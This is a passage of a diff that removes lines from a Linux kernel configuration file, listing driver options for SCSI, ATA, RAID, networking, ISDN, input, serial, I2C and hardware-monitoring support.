-# SCSI Transports
-#
-CONFIG_SCSI_SPI_ATTRS=m
-CONFIG_SCSI_FC_ATTRS=m
-CONFIG_SCSI_ISCSI_ATTRS=m
-CONFIG_SCSI_SAS_ATTRS=m
-CONFIG_SCSI_SAS_LIBSAS=m
-CONFIG_SCSI_SAS_ATA=y
-# CONFIG_SCSI_SAS_LIBSAS_DEBUG is not set
-CONFIG_SCSI_SRP_ATTRS=m
-CONFIG_SCSI_LOWLEVEL=y
-CONFIG_ISCSI_TCP=m
-CONFIG_BLK_DEV_3W_XXXX_RAID=m
-CONFIG_SCSI_3W_9XXX=m
-CONFIG_SCSI_ACARD=m
-CONFIG_SCSI_AACRAID=m
-CONFIG_SCSI_AIC7XXX=m
-CONFIG_AIC7XXX_CMDS_PER_DEVICE=4
-CONFIG_AIC7XXX_RESET_DELAY_MS=15000
-# CONFIG_AIC7XXX_DEBUG_ENABLE is not set
-CONFIG_AIC7XXX_DEBUG_MASK=0
-# CONFIG_AIC7XXX_REG_PRETTY_PRINT is not set
-CONFIG_SCSI_AIC7XXX_OLD=m
-CONFIG_SCSI_AIC79XX=m
-CONFIG_AIC79XX_CMDS_PER_DEVICE=4
-CONFIG_AIC79XX_RESET_DELAY_MS=15000
-# CONFIG_AIC79XX_DEBUG_ENABLE is not set
-CONFIG_AIC79XX_DEBUG_MASK=0
-# CONFIG_AIC79XX_REG_PRETTY_PRINT is not set
-CONFIG_SCSI_AIC94XX=m
-# CONFIG_AIC94XX_DEBUG is not set
-# CONFIG_SCSI_ADVANSYS is not set
-CONFIG_SCSI_ARCMSR=m
-# CONFIG_SCSI_ARCMSR_AER is not set
-CONFIG_MEGARAID_NEWGEN=y
-CONFIG_MEGARAID_MM=m
-CONFIG_MEGARAID_MAILBOX=m
-CONFIG_MEGARAID_LEGACY=m
-CONFIG_MEGARAID_SAS=m
-CONFIG_SCSI_HPTIOP=m
-# CONFIG_SCSI_BUSLOGIC is not set
-# CONFIG_SCSI_DMX3191D is not set
-# CONFIG_SCSI_EATA is not set
-# CONFIG_SCSI_FUTURE_DOMAIN is not set
-CONFIG_SCSI_GDTH=m
-CONFIG_SCSI_IPS=m
-CONFIG_SCSI_INITIO=m
-# CONFIG_SCSI_INIA100 is not set
-CONFIG_SCSI_PPA=m
-CONFIG_SCSI_IMM=m
-# CONFIG_SCSI_IZIP_EPP16 is not set
-# CONFIG_SCSI_IZIP_SLOW_CTR is not set
-CONFIG_SCSI_STEX=m
-CONFIG_SCSI_SYM53C8XX_2=m
-CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
-CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
-CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
-CONFIG_SCSI_SYM53C8XX_MMIO=y
-# CONFIG_SCSI_IPR is not set
-CONFIG_SCSI_QLOGIC_1280=m
-CONFIG_SCSI_QLA_FC=m
-CONFIG_SCSI_QLA_ISCSI=m
-CONFIG_SCSI_LPFC=m
-CONFIG_SCSI_DC395x=m
-# CONFIG_SCSI_DC390T is not set
-# CONFIG_SCSI_DEBUG is not set
-# CONFIG_SCSI_SRP is not set
-# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
-CONFIG_ATA=m
-# CONFIG_ATA_NONSTANDARD is not set
-CONFIG_ATA_ACPI=y
-CONFIG_SATA_AHCI=m
-CONFIG_SATA_SVW=m
-CONFIG_ATA_PIIX=m
-CONFIG_SATA_MV=m
-CONFIG_SATA_NV=m
-CONFIG_PDC_ADMA=m
-CONFIG_SATA_QSTOR=m
-CONFIG_SATA_PROMISE=m
-CONFIG_SATA_SX4=m
-CONFIG_SATA_SIL=m
-CONFIG_SATA_SIL24=m
-CONFIG_SATA_SIS=m
-CONFIG_SATA_ULI=m
-CONFIG_SATA_VIA=m
-CONFIG_SATA_VITESSE=m
-CONFIG_SATA_INIC162X=m
-# CONFIG_PATA_ACPI is not set
-# CONFIG_PATA_ALI is not set
-# CONFIG_PATA_AMD is not set
-# CONFIG_PATA_ARTOP is not set
-# CONFIG_PATA_ATIIXP is not set
-# CONFIG_PATA_CMD640_PCI is not set
-# CONFIG_PATA_CMD64X is not set
-# CONFIG_PATA_CS5520 is not set
-# CONFIG_PATA_CS5530 is not set
-# CONFIG_PATA_CYPRESS is not set
-# CONFIG_PATA_EFAR is not set
-# CONFIG_ATA_GENERIC is not set
-# CONFIG_PATA_HPT366 is not set
-# CONFIG_PATA_HPT37X is not set
-# CONFIG_PATA_HPT3X2N is not set
-# CONFIG_PATA_HPT3X3 is not set
-# CONFIG_PATA_IT821X is not set
-# CONFIG_PATA_IT8213 is not set
-# CONFIG_PATA_JMICRON is not set
-# CONFIG_PATA_TRIFLEX is not set
-CONFIG_PATA_MARVELL=m
-# CONFIG_PATA_MPIIX is not set
-# CONFIG_PATA_OLDPIIX is not set
-# CONFIG_PATA_NETCELL is not set
-# CONFIG_PATA_NS87410 is not set
-# CONFIG_PATA_NS87415 is not set
-# CONFIG_PATA_OPTI is not set
-# CONFIG_PATA_OPTIDMA is not set
-# CONFIG_PATA_PCMCIA is not set
-# CONFIG_PATA_PDC_OLD is not set
-# CONFIG_PATA_RADISYS is not set
-# CONFIG_PATA_RZ1000 is not set
-# CONFIG_PATA_SC1200 is not set
-# CONFIG_PATA_SERVERWORKS is not set
-CONFIG_PATA_PDC2027X=m
-CONFIG_PATA_SIL680=m
-CONFIG_PATA_SIS=m
-# CONFIG_PATA_VIA is not set
-# CONFIG_PATA_WINBOND is not set
-CONFIG_MD=y
-CONFIG_BLK_DEV_MD=y
-CONFIG_MD_LINEAR=m
-CONFIG_MD_RAID0=m
-CONFIG_MD_RAID1=m
-CONFIG_MD_RAID10=m
-CONFIG_MD_RAID456=m
-CONFIG_MD_RAID5_RESHAPE=y
-CONFIG_MD_MULTIPATH=m
-CONFIG_MD_FAULTY=m
-CONFIG_BLK_DEV_DM=m
-# CONFIG_DM_DEBUG is not set
-CONFIG_DM_CRYPT=m
-CONFIG_DM_SNAPSHOT=m
-CONFIG_DM_MIRROR=m
-CONFIG_DM_ZERO=m
-CONFIG_DM_MULTIPATH=m
-CONFIG_DM_MULTIPATH_EMC=m
-CONFIG_DM_MULTIPATH_RDAC=m
-CONFIG_DM_MULTIPATH_HP=m
-# CONFIG_DM_DELAY is not set
-CONFIG_DM_UEVENT=y
-CONFIG_FUSION=y
-CONFIG_FUSION_SPI=m
-CONFIG_FUSION_FC=m
-CONFIG_FUSION_SAS=m
-CONFIG_FUSION_MAX_SGE=128
-CONFIG_FUSION_CTL=m
-CONFIG_FUSION_LAN=m
-CONFIG_FUSION_LOGGING=y
-
-#
-# IEEE 1394 (FireWire) support
-#
-CONFIG_FIREWIRE=m
-CONFIG_FIREWIRE_OHCI=m
-CONFIG_FIREWIRE_SBP2=m
-# CONFIG_IEEE1394 is not set
-CONFIG_I2O=m
-# CONFIG_I2O_LCT_NOTIFY_ON_CHANGES is not set
-CONFIG_I2O_EXT_ADAPTEC=y
-CONFIG_I2O_EXT_ADAPTEC_DMA64=y
-CONFIG_I2O_CONFIG=m
-CONFIG_I2O_CONFIG_OLD_IOCTL=y
-CONFIG_I2O_BUS=m
-CONFIG_I2O_BLOCK=m
-CONFIG_I2O_SCSI=m
-CONFIG_I2O_PROC=m
-# CONFIG_MACINTOSH_DRIVERS is not set
-CONFIG_NETDEVICES=y
-# CONFIG_NETDEVICES_MULTIQUEUE is not set
-CONFIG_IFB=m
-CONFIG_DUMMY=m
-CONFIG_BONDING=m
-# CONFIG_MACVLAN is not set
-# CONFIG_EQUALIZER is not set
-CONFIG_TUN=m
-# CONFIG_VETH is not set
-# CONFIG_NET_SB1000 is not set
-# CONFIG_ARCNET is not set
-CONFIG_PHYLIB=m
-
-#
-# MII PHY device drivers
-#
-CONFIG_MARVELL_PHY=m
-CONFIG_DAVICOM_PHY=m
-CONFIG_QSEMI_PHY=m
-CONFIG_LXT_PHY=m
-CONFIG_CICADA_PHY=m
-CONFIG_VITESSE_PHY=m
-CONFIG_SMSC_PHY=m
-# CONFIG_BROADCOM_PHY is not set
-# CONFIG_ICPLUS_PHY is not set
-CONFIG_FIXED_PHY=m
-CONFIG_FIXED_MII_10_FDX=y
-CONFIG_FIXED_MII_100_FDX=y
-# CONFIG_FIXED_MII_1000_FDX is not set
-CONFIG_FIXED_MII_AMNT=1
-# CONFIG_MDIO_BITBANG is not set
-CONFIG_NET_ETHERNET=y
-CONFIG_MII=m
-CONFIG_HAPPYMEAL=m
-CONFIG_SUNGEM=m
-CONFIG_CASSINI=m
-CONFIG_NET_VENDOR_3COM=y
-CONFIG_VORTEX=m
-CONFIG_TYPHOON=m
-CONFIG_NET_TULIP=y
-CONFIG_DE2104X=m
-CONFIG_TULIP=m
-# CONFIG_TULIP_MWI is not set
-CONFIG_TULIP_MMIO=y
-# CONFIG_TULIP_NAPI is not set
-CONFIG_DE4X5=m
-CONFIG_WINBOND_840=m
-CONFIG_DM9102=m
-CONFIG_ULI526X=m
-CONFIG_PCMCIA_XIRCOM=m
-# CONFIG_HP100 is not set
-# CONFIG_IBM_NEW_EMAC_ZMII is not set
-# CONFIG_IBM_NEW_EMAC_RGMII is not set
-# CONFIG_IBM_NEW_EMAC_TAH is not set
-# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
-CONFIG_NET_PCI=y
-CONFIG_PCNET32=m
-# CONFIG_PCNET32_NAPI is not set
-CONFIG_AMD8111_ETH=m
-CONFIG_AMD8111E_NAPI=y
-CONFIG_ADAPTEC_STARFIRE=m
-CONFIG_ADAPTEC_STARFIRE_NAPI=y
-CONFIG_B44=m
-CONFIG_B44_PCI_AUTOSELECT=y
-CONFIG_B44_PCICORE_AUTOSELECT=y
-CONFIG_B44_PCI=y
-CONFIG_FORCEDETH=m
-# CONFIG_FORCEDETH_NAPI is not set
-# CONFIG_EEPRO100 is not set
-CONFIG_E100=m
-CONFIG_FEALNX=m
-CONFIG_NATSEMI=m
-CONFIG_NE2K_PCI=m
-CONFIG_8139CP=m
-CONFIG_8139TOO=m
-# CONFIG_8139TOO_PIO is not set
-# CONFIG_8139TOO_TUNE_TWISTER is not set
-CONFIG_8139TOO_8129=y
-# CONFIG_8139_OLD_RX_RESET is not set
-CONFIG_SIS900=m
-CONFIG_EPIC100=m
-CONFIG_SUNDANCE=m
-# CONFIG_SUNDANCE_MMIO is not set
-CONFIG_VIA_RHINE=m
-CONFIG_VIA_RHINE_MMIO=y
-CONFIG_VIA_RHINE_NAPI=y
-# CONFIG_SC92031 is not set
-CONFIG_NET_POCKET=y
-# CONFIG_ATP is not set
-# CONFIG_DE600 is not set
-# CONFIG_DE620 is not set
-CONFIG_NETDEV_1000=y
-CONFIG_ACENIC=m
-# CONFIG_ACENIC_OMIT_TIGON_I is not set
-CONFIG_DL2K=m
-CONFIG_E1000=m
-CONFIG_E1000_NAPI=y
-# CONFIG_E1000_DISABLE_PACKET_SPLIT is not set
-CONFIG_E1000E=m
-# CONFIG_IP1000 is not set
-CONFIG_NS83820=m
-# CONFIG_HAMACHI is not set
-# CONFIG_YELLOWFIN is not set
-CONFIG_R8169=m
-# CONFIG_R8169_NAPI is not set
-CONFIG_R8169_VLAN=y
-CONFIG_SIS190=m
-CONFIG_SKGE=m
-# CONFIG_SKGE_DEBUG is not set
-CONFIG_SKY2=m
-# CONFIG_SKY2_DEBUG is not set
-# CONFIG_SK98LIN is not set
-CONFIG_VIA_VELOCITY=m
-CONFIG_TIGON3=m
-CONFIG_BNX2=m
-CONFIG_QLA3XXX=m
-# CONFIG_ATL1 is not set
-CONFIG_NETDEV_10000=y
-CONFIG_CHELSIO_T1=m
-# CONFIG_CHELSIO_T1_1G is not set
-CONFIG_CHELSIO_T1_NAPI=y
-CONFIG_CHELSIO_T3=m
-CONFIG_IXGBE=m
-CONFIG_IXGB=m
-CONFIG_IXGB_NAPI=y
-CONFIG_S2IO=m
-CONFIG_S2IO_NAPI=y
-CONFIG_MYRI10GE=m
-CONFIG_NETXEN_NIC=m
-CONFIG_NIU=m
-CONFIG_MLX4_CORE=m
-CONFIG_MLX4_DEBUG=y
-# CONFIG_TEHUTI is not set
-CONFIG_TR=y
-CONFIG_IBMOL=m
-CONFIG_3C359=m
-# CONFIG_TMS380TR is not set
-
-#
-# Wireless LAN
-#
-# CONFIG_WLAN_PRE80211 is not set
-# CONFIG_WLAN_80211 is not set
-
-#
-# USB Network Adapters
-#
-CONFIG_USB_CATC=m
-CONFIG_USB_KAWETH=m
-CONFIG_USB_PEGASUS=m
-CONFIG_USB_RTL8150=m
-CONFIG_USB_USBNET=m
-CONFIG_USB_NET_AX8817X=m
-CONFIG_USB_NET_CDCETHER=m
-CONFIG_USB_NET_DM9601=m
-CONFIG_USB_NET_GL620A=m
-CONFIG_USB_NET_NET1080=m
-CONFIG_USB_NET_PLUSB=m
-# CONFIG_USB_NET_MCS7830 is not set
-CONFIG_USB_NET_RNDIS_HOST=m
-CONFIG_USB_NET_CDC_SUBSET=m
-CONFIG_USB_ALI_M5632=y
-CONFIG_USB_AN2720=y
-CONFIG_USB_BELKIN=y
-CONFIG_USB_ARMLINUX=y
-CONFIG_USB_EPSON2888=y
-# CONFIG_USB_KC2190 is not set
-CONFIG_USB_NET_ZAURUS=m
-CONFIG_NET_PCMCIA=y
-CONFIG_PCMCIA_3C589=m
-CONFIG_PCMCIA_3C574=m
-CONFIG_PCMCIA_FMVJ18X=m
-CONFIG_PCMCIA_PCNET=m
-CONFIG_PCMCIA_NMCLAN=m
-CONFIG_PCMCIA_SMC91C92=m
-CONFIG_PCMCIA_XIRC2PS=m
-CONFIG_PCMCIA_AXNET=m
-# CONFIG_WAN is not set
-CONFIG_ATM_DRIVERS=y
-# CONFIG_ATM_DUMMY is not set
-CONFIG_ATM_TCP=m
-CONFIG_ATM_LANAI=m
-CONFIG_ATM_ENI=m
-# CONFIG_ATM_ENI_DEBUG is not set
-# CONFIG_ATM_ENI_TUNE_BURST is not set
-CONFIG_ATM_FIRESTREAM=m
-# CONFIG_ATM_ZATM is not set
-CONFIG_ATM_IDT77252=m
-# CONFIG_ATM_IDT77252_DEBUG is not set
-# CONFIG_ATM_IDT77252_RCV_ALL is not set
-CONFIG_ATM_IDT77252_USE_SUNI=y
-CONFIG_ATM_AMBASSADOR=m
-# CONFIG_ATM_AMBASSADOR_DEBUG is not set
-CONFIG_ATM_HORIZON=m
-# CONFIG_ATM_HORIZON_DEBUG is not set
-CONFIG_ATM_FORE200E_MAYBE=m
-# CONFIG_ATM_FORE200E_PCA is not set
-CONFIG_ATM_HE=m
-# CONFIG_ATM_HE_USE_SUNI is not set
-CONFIG_FDDI=y
-# CONFIG_DEFXX is not set
-# CONFIG_SKFP is not set
-# CONFIG_HIPPI is not set
-# CONFIG_PLIP is not set
-CONFIG_PPP=m
-CONFIG_PPP_MULTILINK=y
-CONFIG_PPP_FILTER=y
-CONFIG_PPP_ASYNC=m
-CONFIG_PPP_SYNC_TTY=m
-CONFIG_PPP_DEFLATE=m
-# CONFIG_PPP_BSDCOMP is not set
-CONFIG_PPP_MPPE=m
-CONFIG_PPPOE=m
-CONFIG_PPPOATM=m
-# CONFIG_PPPOL2TP is not set
-CONFIG_SLIP=m
-CONFIG_SLIP_COMPRESSED=y
-CONFIG_SLHC=m
-CONFIG_SLIP_SMART=y
-# CONFIG_SLIP_MODE_SLIP6 is not set
-CONFIG_NET_FC=y
-# CONFIG_SHAPER is not set
-CONFIG_NETCONSOLE=m
-# CONFIG_NETCONSOLE_DYNAMIC is not set
-CONFIG_NETPOLL=y
-CONFIG_NETPOLL_TRAP=y
-CONFIG_NET_POLL_CONTROLLER=y
-CONFIG_ISDN=m
-CONFIG_ISDN_I4L=m
-CONFIG_ISDN_PPP=y
-CONFIG_ISDN_PPP_VJ=y
-CONFIG_ISDN_MPP=y
-CONFIG_IPPP_FILTER=y
-# CONFIG_ISDN_PPP_BSDCOMP is not set
-CONFIG_ISDN_AUDIO=y
-CONFIG_ISDN_TTY_FAX=y
-
-#
-# ISDN feature submodules
-#
-CONFIG_ISDN_DIVERSION=m
-
-#
-# ISDN4Linux hardware drivers
-#
-
-#
-# Passive cards
-#
-CONFIG_ISDN_DRV_HISAX=m
-
-#
-# D-channel protocol features
-#
-CONFIG_HISAX_EURO=y
-CONFIG_DE_AOC=y
-CONFIG_HISAX_NO_SENDCOMPLETE=y
-CONFIG_HISAX_NO_LLC=y
-CONFIG_HISAX_NO_KEYPAD=y
-CONFIG_HISAX_1TR6=y
-CONFIG_HISAX_NI1=y
-CONFIG_HISAX_MAX_CARDS=8
-
-#
-# HiSax supported cards
-#
-CONFIG_HISAX_16_3=y
-CONFIG_HISAX_TELESPCI=y
-CONFIG_HISAX_S0BOX=y
-CONFIG_HISAX_FRITZPCI=y
-CONFIG_HISAX_AVM_A1_PCMCIA=y
-CONFIG_HISAX_ELSA=y
-CONFIG_HISAX_DIEHLDIVA=y
-CONFIG_HISAX_SEDLBAUER=y
-CONFIG_HISAX_NETJET=y
-CONFIG_HISAX_NETJET_U=y
-CONFIG_HISAX_NICCY=y
-CONFIG_HISAX_BKM_A4T=y
-CONFIG_HISAX_SCT_QUADRO=y
-CONFIG_HISAX_GAZEL=y
-CONFIG_HISAX_HFC_PCI=y
-CONFIG_HISAX_W6692=y
-CONFIG_HISAX_HFC_SX=y
-CONFIG_HISAX_ENTERNOW_PCI=y
-# CONFIG_HISAX_DEBUG is not set
-
-#
-# HiSax PCMCIA card service modules
-#
-CONFIG_HISAX_SEDLBAUER_CS=m
-CONFIG_HISAX_ELSA_CS=m
-CONFIG_HISAX_AVM_A1_CS=m
-CONFIG_HISAX_TELES_CS=m
-
-#
-# HiSax sub driver modules
-#
-CONFIG_HISAX_ST5481=m
-# CONFIG_HISAX_HFCUSB is not set
-CONFIG_HISAX_HFC4S8S=m
-CONFIG_HISAX_FRITZ_PCIPNP=m
-CONFIG_HISAX_HDLC=y
-
-#
-# Active cards
-#
-CONFIG_ISDN_DRV_GIGASET=m
-CONFIG_GIGASET_BASE=m
-CONFIG_GIGASET_M105=m
-# CONFIG_GIGASET_M101 is not set
-# CONFIG_GIGASET_DEBUG is not set
-# CONFIG_GIGASET_UNDOCREQ is not set
-CONFIG_ISDN_CAPI=m
-CONFIG_ISDN_DRV_AVMB1_VERBOSE_REASON=y
-CONFIG_CAPI_TRACE=y
-CONFIG_ISDN_CAPI_MIDDLEWARE=y
-CONFIG_ISDN_CAPI_CAPI20=m
-CONFIG_ISDN_CAPI_CAPIFS_BOOL=y
-CONFIG_ISDN_CAPI_CAPIFS=m
-CONFIG_ISDN_CAPI_CAPIDRV=m
-
-#
-# CAPI hardware drivers
-#
-CONFIG_CAPI_AVM=y
-CONFIG_ISDN_DRV_AVMB1_B1PCI=m
-CONFIG_ISDN_DRV_AVMB1_B1PCIV4=y
-CONFIG_ISDN_DRV_AVMB1_B1PCMCIA=m
-CONFIG_ISDN_DRV_AVMB1_AVM_CS=m
-CONFIG_ISDN_DRV_AVMB1_T1PCI=m
-CONFIG_ISDN_DRV_AVMB1_C4=m
-# CONFIG_CAPI_EICON is not set
-# CONFIG_PHONE is not set
-
-#
-# Input device support
-#
-CONFIG_INPUT=y
-CONFIG_INPUT_FF_MEMLESS=y
-CONFIG_INPUT_POLLDEV=m
-
-#
-# Userland interfaces
-#
-CONFIG_INPUT_MOUSEDEV=y
-# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
-CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
-CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
-CONFIG_INPUT_JOYDEV=m
-CONFIG_INPUT_EVDEV=y
-# CONFIG_INPUT_EVBUG is not set
-
-#
-# Input Device Drivers
-#
-CONFIG_INPUT_KEYBOARD=y
-CONFIG_KEYBOARD_ATKBD=y
-# CONFIG_KEYBOARD_SUNKBD is not set
-# CONFIG_KEYBOARD_LKKBD is not set
-# CONFIG_KEYBOARD_XTKBD is not set
-# CONFIG_KEYBOARD_NEWTON is not set
-# CONFIG_KEYBOARD_STOWAWAY is not set
-CONFIG_INPUT_MOUSE=y
-CONFIG_MOUSE_PS2=y
-CONFIG_MOUSE_PS2_ALPS=y
-CONFIG_MOUSE_PS2_LOGIPS2PP=y
-CONFIG_MOUSE_PS2_SYNAPTICS=y
-CONFIG_MOUSE_PS2_LIFEBOOK=y
-CONFIG_MOUSE_PS2_TRACKPOINT=y
-# CONFIG_MOUSE_PS2_TOUCHKIT is not set
-CONFIG_MOUSE_SERIAL=m
-# CONFIG_MOUSE_APPLETOUCH is not set
-CONFIG_MOUSE_VSXXXAA=m
-CONFIG_INPUT_JOYSTICK=y
-# CONFIG_JOYSTICK_ANALOG is not set
-# CONFIG_JOYSTICK_A3D is not set
-# CONFIG_JOYSTICK_ADI is not set
-# CONFIG_JOYSTICK_COBRA is not set
-# CONFIG_JOYSTICK_GF2K is not set
-# CONFIG_JOYSTICK_GRIP is not set
-# CONFIG_JOYSTICK_GRIP_MP is not set
-# CONFIG_JOYSTICK_GUILLEMOT is not set
-# CONFIG_JOYSTICK_INTERACT is not set
-# CONFIG_JOYSTICK_SIDEWINDER is not set
-# CONFIG_JOYSTICK_TMDC is not set
-# CONFIG_JOYSTICK_IFORCE is not set
-# CONFIG_JOYSTICK_WARRIOR is not set
-# CONFIG_JOYSTICK_MAGELLAN is not set
-# CONFIG_JOYSTICK_SPACEORB is not set
-# CONFIG_JOYSTICK_SPACEBALL is not set
-# CONFIG_JOYSTICK_STINGER is not set
-CONFIG_JOYSTICK_TWIDJOY=m
-# CONFIG_JOYSTICK_DB9 is not set
-# CONFIG_JOYSTICK_GAMECON is not set
-# CONFIG_JOYSTICK_TURBOGRAFX is not set
-CONFIG_JOYSTICK_JOYDUMP=m
-# CONFIG_JOYSTICK_XPAD is not set
-# CONFIG_INPUT_TABLET is not set
-CONFIG_INPUT_TOUCHSCREEN=y
-# CONFIG_TOUCHSCREEN_FUJITSU is not set
-CONFIG_TOUCHSCREEN_GUNZE=m
-CONFIG_TOUCHSCREEN_ELO=m
-CONFIG_TOUCHSCREEN_MTOUCH=m
-CONFIG_TOUCHSCREEN_MK712=m
-# CONFIG_TOUCHSCREEN_PENMOUNT is not set
-# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set
-# CONFIG_TOUCHSCREEN_TOUCHWIN is not set
-# CONFIG_TOUCHSCREEN_UCB1400 is not set
-# CONFIG_TOUCHSCREEN_USB_COMPOSITE is not set
-CONFIG_INPUT_MISC=y
-CONFIG_INPUT_PCSPKR=m
-# CONFIG_INPUT_ATLAS_BTNS is not set
-# CONFIG_INPUT_ATI_REMOTE is not set
-# CONFIG_INPUT_ATI_REMOTE2 is not set
-# CONFIG_INPUT_KEYSPAN_REMOTE is not set
-# CONFIG_INPUT_POWERMATE is not set
-# CONFIG_INPUT_YEALINK is not set
-CONFIG_INPUT_UINPUT=m
-
-#
-# Hardware I/O ports
-#
-CONFIG_SERIO=y
-CONFIG_SERIO_I8042=y
-CONFIG_SERIO_SERPORT=y
-# CONFIG_SERIO_CT82C710 is not set
-# CONFIG_SERIO_PARKBD is not set
-# CONFIG_SERIO_PCIPS2 is not set
-CONFIG_SERIO_LIBPS2=y
-CONFIG_SERIO_RAW=m
-CONFIG_GAMEPORT=m
-CONFIG_GAMEPORT_NS558=m
-CONFIG_GAMEPORT_L4=m
-CONFIG_GAMEPORT_EMU10K1=m
-CONFIG_GAMEPORT_FM801=m
-
-#
-# Character devices
-#
-CONFIG_VT=y
-CONFIG_VT_CONSOLE=y
-CONFIG_HW_CONSOLE=y
-CONFIG_VT_HW_CONSOLE_BINDING=y
-CONFIG_SERIAL_NONSTANDARD=y
-# CONFIG_COMPUTONE is not set
-# CONFIG_ROCKETPORT is not set
-CONFIG_CYCLADES=m
-# CONFIG_CYZ_INTR is not set
-# CONFIG_DIGIEPCA is not set
-# CONFIG_MOXA_INTELLIO is not set
-# CONFIG_MOXA_SMARTIO is not set
-# CONFIG_MOXA_SMARTIO_NEW is not set
-# CONFIG_ISI is not set
-CONFIG_SYNCLINK=m
-CONFIG_SYNCLINKMP=m
-CONFIG_SYNCLINK_GT=m
-CONFIG_N_HDLC=m
-# CONFIG_SPECIALIX is not set
-# CONFIG_SX is not set
-# CONFIG_RIO is not set
-# CONFIG_STALDRV is not set
-
-#
-# Serial drivers
-#
-CONFIG_SERIAL_8250=y
-CONFIG_SERIAL_8250_CONSOLE=y
-CONFIG_FIX_EARLYCON_MEM=y
-CONFIG_SERIAL_8250_PCI=y
-CONFIG_SERIAL_8250_PNP=y
-CONFIG_SERIAL_8250_CS=m
-CONFIG_SERIAL_8250_NR_UARTS=32
-CONFIG_SERIAL_8250_RUNTIME_UARTS=4
-CONFIG_SERIAL_8250_EXTENDED=y
-CONFIG_SERIAL_8250_MANY_PORTS=y
-CONFIG_SERIAL_8250_SHARE_IRQ=y
-CONFIG_SERIAL_8250_DETECT_IRQ=y
-CONFIG_SERIAL_8250_RSA=y
-
-#
-# Non-8250 serial port support
-#
-CONFIG_SERIAL_CORE=y
-CONFIG_SERIAL_CORE_CONSOLE=y
-CONFIG_SERIAL_JSM=m
-CONFIG_UNIX98_PTYS=y
-# CONFIG_LEGACY_PTYS is not set
-CONFIG_PRINTER=m
-CONFIG_LP_CONSOLE=y
-CONFIG_PPDEV=m
-CONFIG_IPMI_HANDLER=m
-CONFIG_IPMI_PANIC_EVENT=y
-CONFIG_IPMI_PANIC_STRING=y
-CONFIG_IPMI_DEVICE_INTERFACE=m
-CONFIG_IPMI_SI=m
-CONFIG_IPMI_WATCHDOG=m
-CONFIG_IPMI_POWEROFF=m
-CONFIG_HW_RANDOM=y
-CONFIG_HW_RANDOM_INTEL=m
-CONFIG_HW_RANDOM_AMD=m
-CONFIG_NVRAM=y
-CONFIG_RTC=y
-# CONFIG_R3964 is not set
-# CONFIG_APPLICOM is not set
-
-#
-# PCMCIA character devices
-#
-# CONFIG_SYNCLINK_CS is not set
-CONFIG_CARDMAN_4000=m
-CONFIG_CARDMAN_4040=m
-# CONFIG_MWAVE is not set
-CONFIG_PC8736x_GPIO=m
-CONFIG_NSC_GPIO=m
-CONFIG_RAW_DRIVER=y
-CONFIG_MAX_RAW_DEVS=8192
-CONFIG_HPET=y
-# CONFIG_HPET_RTC_IRQ is not set
-# CONFIG_HPET_MMAP is not set
-CONFIG_HANGCHECK_TIMER=m
-CONFIG_TCG_TPM=m
-CONFIG_TCG_TIS=m
-CONFIG_TCG_NSC=m
-CONFIG_TCG_ATMEL=m
-CONFIG_TCG_INFINEON=m
-CONFIG_TELCLOCK=m
-CONFIG_DEVPORT=y
-CONFIG_I2C=m
-CONFIG_I2C_BOARDINFO=y
-CONFIG_I2C_CHARDEV=m
-
-#
-# I2C Algorithms
-#
-CONFIG_I2C_ALGOBIT=m
-CONFIG_I2C_ALGOPCF=m
-CONFIG_I2C_ALGOPCA=m
-
-#
-# I2C Hardware Bus support
-#
-# CONFIG_I2C_ALI1535 is not set
-# CONFIG_I2C_ALI1563 is not set
-# CONFIG_I2C_ALI15X3 is not set
-CONFIG_I2C_AMD756=m
-CONFIG_I2C_AMD756_S4882=m
-CONFIG_I2C_AMD8111=m
-CONFIG_I2C_I801=m
-# CONFIG_I2C_I810 is not set
-CONFIG_I2C_PIIX4=m
-CONFIG_I2C_NFORCE2=m
-# CONFIG_I2C_OCORES is not set
-CONFIG_I2C_PARPORT=m
-CONFIG_I2C_PARPORT_LIGHT=m
-CONFIG_I2C_PROSAVAGE=m
-CONFIG_I2C_SAVAGE4=m
-# CONFIG_I2C_SIMTEC is not set
-# CONFIG_I2C_SIS5595 is not set
-# CONFIG_I2C_SIS630 is not set
-CONFIG_I2C_SIS96X=m
-# CONFIG_I2C_TAOS_EVM is not set
-CONFIG_I2C_STUB=m
-# CONFIG_I2C_TINY_USB is not set
-CONFIG_I2C_VIA=m
-CONFIG_I2C_VIAPRO=m
-CONFIG_I2C_VOODOO3=m
-
-#
-# Miscellaneous I2C Chip support
-#
-CONFIG_SENSORS_DS1337=m
-CONFIG_SENSORS_DS1374=m
-# CONFIG_DS1682 is not set
-CONFIG_SENSORS_EEPROM=m
-CONFIG_SENSORS_PCF8574=m
-CONFIG_SENSORS_PCA9539=m
-CONFIG_SENSORS_PCF8591=m
-CONFIG_SENSORS_MAX6875=m
-# CONFIG_SENSORS_TSL2550 is not set
-# CONFIG_I2C_DEBUG_CORE is not set
-# CONFIG_I2C_DEBUG_ALGO is not set
-# CONFIG_I2C_DEBUG_BUS is not set
-# CONFIG_I2C_DEBUG_CHIP is not set
-
-#
-# SPI support
-#
-# CONFIG_SPI is not set
-# CONFIG_SPI_MASTER is not set
-# CONFIG_W1 is not set
-CONFIG_POWER_SUPPLY=y
-# CONFIG_POWER_SUPPLY_DEBUG is not set
-# CONFIG_PDA_POWER is not set
-# CONFIG_BATTERY_DS2760 is not set
-CONFIG_HWMON=m
-CONFIG_HWMON_VID=m
-CONFIG_SENSORS_ABITUGURU=m
-# CONFIG_SENSORS_ABITUGURU3 is not set
-# CONFIG_SENSORS_AD7418 is not set
-CONFIG_SENSORS_ADM1021=m
-CONFIG_SENSORS_ADM1025=m
-CONFIG_SENSORS_ADM1026=m
-# CONFIG_SENSORS_ADM1029 is not set
-CONFIG_SENSORS_ADM1031=m
-CONFIG_SENSORS_ADM9240=m
-# CONFIG_SENSORS_ADT7470 is not set
-CONFIG_SENSORS_K8TEMP=m
-CONFIG_SENSORS_ASB100=m
-CONFIG_SENSORS_ATXP1=m
-CONFIG_SENSORS_DS1621=m
-# CONFIG_SENSORS_I5K_AMB is not set
-CONFIG_SENSORS_F71805F=m
-# CONFIG_SENSORS_F71882FG is not set
